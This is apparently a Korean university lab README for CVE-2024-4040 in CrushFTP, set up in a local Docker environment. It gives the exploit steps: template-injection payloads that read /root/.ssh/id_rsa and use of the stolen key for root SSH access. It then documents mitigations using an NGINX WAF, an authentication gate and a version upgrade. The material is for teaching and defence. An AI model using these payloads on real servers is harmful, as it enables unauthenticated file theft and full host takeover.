
CVE-2024-4040(CrushFTP SSTI -> 인증되지 않은 LFI)에 대한 개념 증명 - 통제된 CS443 랩 환경에서 - 교육/승인된 용도로만 사용하십시오.
교육 및 공인된 실습실 사용 전용입니다.
CS443 소프트웨어 및 시스템 보안 — 통제된 로컬 Docker 환경.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2024-4040 |
| 영향받는 소프트웨어 | CrushFTP < 10.7.1 (v10 브랜치) / < 11.1.0 (v11 브랜치) |
| 취약점 유형 | 서버 측 템플릿 주입(SSTI) → 인증되지 않은 로컬 파일 읽기 |
| CVSS 점수 | 9.8 치명적 |
| 영향 | 인증되지 않은 공격자가 서버 파일시스템에서 임의의 파일을 읽을 수 있습니다. |
CrushFTP의 WebInterface는 zip 명령의 path 매개변수에 있는 템플릿 표현식을 검증 없이 평가합니다. 인증되지 않은 공격자는 익명 세션 쿠키를 획득한 다음 해당 쿠키를 사용하여 서버가 평가하고 반환하는 템플릿 페이로드({working_dir}, <INCLUDE>…</INCLUDE>)를 전달할 수 있으며, 이를 통해 호스트 전체에서 임의의 파일 읽기가 가능합니다.
pip install requests rich
| 스크립트 | 소스 | 용도 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 전체 SSTI/LFI 익스플로잇 — 세션 탈취, 임의 파일 읽기 |
recon.py | 이 저장소 | 버전 탐지, 실시간 SSTI 프로브, 취약점 확인 |
docker-compose up -d
스크립트를 실행하기 전에 CrushFTP가 완전히 초기화될 때까지 약 10초를 기다리십시오.
여기서는 별도의 정찰 단계가 필요하지 않습니다. crushed.py가 실행 중에 익스플로잇 가능 여부를 이미 확인하기 때문입니다.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
스크립트는 다음을 수행합니다:
/WebInterface/에서 익명 CrushAuth / currentAuth 세션을 획득합니다.{working_dir}를 사용하여 CrushFTP 설치 디렉터리를 확인합니다.<INCLUDE>/root/.ssh/id_rsa</INCLUDE>를 사용하여 대상 파일을 읽습니다.출력에서 개인 키 블록을 복사하십시오(-----BEGIN OPENSSH PRIVATE KEY-----부터 -----END OPENSSH PRIVATE KEY-----까지의 모든 내용).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
WAF는 CrushFTP에 도달하기 전에 들어오는 HTTP/S 트래픽을 검사하는 리버스 프록시 역할을 합니다. NGINX와 ModSecurity를 사용하면 CVE-2024-4040을 악용하는 악성 요청이 CrushFTP 자체를 수정하지 않고도 네트워크 경계에서 차단됩니다.
../, %2e%2e)을 차단합니다.Mitigation 1/docker-compose.yaml을 사용하십시오:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf를 사용하십시오:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040은 인증 없이 악용 가능합니다. 이 실습에서는 민감한 경로를 CrushFTP로 프록시하기 전에 Authorization 헤더를 요구하여 NGINX 계층에서 익명 유형의 액세스를 차단합니다.
crushed.py와 같은 익스플로잇 스크립트는 인증되지 않은 액세스에 의존합니다. 자격 증명이 없는 요청은 401로 거부됩니다./WebInterface/ 및 /에 대한 요청이 거부됩니다.services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11로 업그레이드하는 것이 가장 효과적이고 영구적인 수정입니다. 이 패치는 VFS 경로 확인에 대한 엄격한 입력 검증을 추가하여 CVE-2024-4040의 근본 원인을 제거합니다.
crushed.py와 같은 익스플로잇 스크립트는 버전 11에서 더 이상 작동하지 않습니다.Dockerfile을 CrushFTP 11을 사용하도록 업데이트하십시오:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
컨테이너를 다시 빌드하십시오:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error
| 구성 요소 | 값 |
|---|
| 대상 | http://localhost:8080 |
| 기본 PoC CrushFTP 버전 | 10.3.0 (의도적으로 취약한 버전) |
| 완화 3 테스트 환경 | CrushFTP 11.x(패치된 브랜치)를 실행하는 별도 컨테이너 |
| SSH 포트(컨테이너) | 2222 → 22 |
| 관리자 자격 증명 | admin / admin |
| 컨테이너 런타임 | Docker (Compose) |
| 문제 | 위치 | 세부 사항 |
|---|
| 누락된 종속성 | 6–9행 | 실행 전 pip install rich 필요 |
| 취약한 XML 파싱 | 86, 140행 | 비XML 서버 응답에서 충돌; ParseError 처리 없음 |
| 토큰 정규식이 너무 엄격함 | 160–161행 | CrushAuth=…; currentAuth=… 패턴이 모든 sessions.obj 형식과 일치하지 않을 수 있음 |
| HTTP 404 전용 | 53행 | 쿠키 획득이 404에서만 성공; 다른 상태 코드에서는 조용히 통과 |